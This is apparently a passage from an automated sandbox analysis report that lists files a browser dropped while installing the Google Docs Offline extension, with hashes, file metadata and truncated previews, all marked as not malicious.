SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 29 00:46:16 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9856839261453527
Encrypted:	false
SSDEEP:	48:8/02dZTBBBDHaidAKZdA19ehwiZUklqehAy+3:8sIXBcPy
MD5:	C4F68738C0A01A62BF95AF8C48225F30
SHA1:	249F3CF89C210A66EAD4574253373B19215E76F2
SHA-256:	1E7897FCCADFB53240CCB83A3C78720484253AB7F44B4942CFCA4AAFCD7C5603
SHA-512:	C2A59688785C2CC83E93788F4AD5F3BEFC587C27D665A2EBBC0958D65AB43277AC8130898DB3A28BFEE175FE507EB1845AA8637DCBD13D2EDF8B04AFA1834B12
Malicious:	false
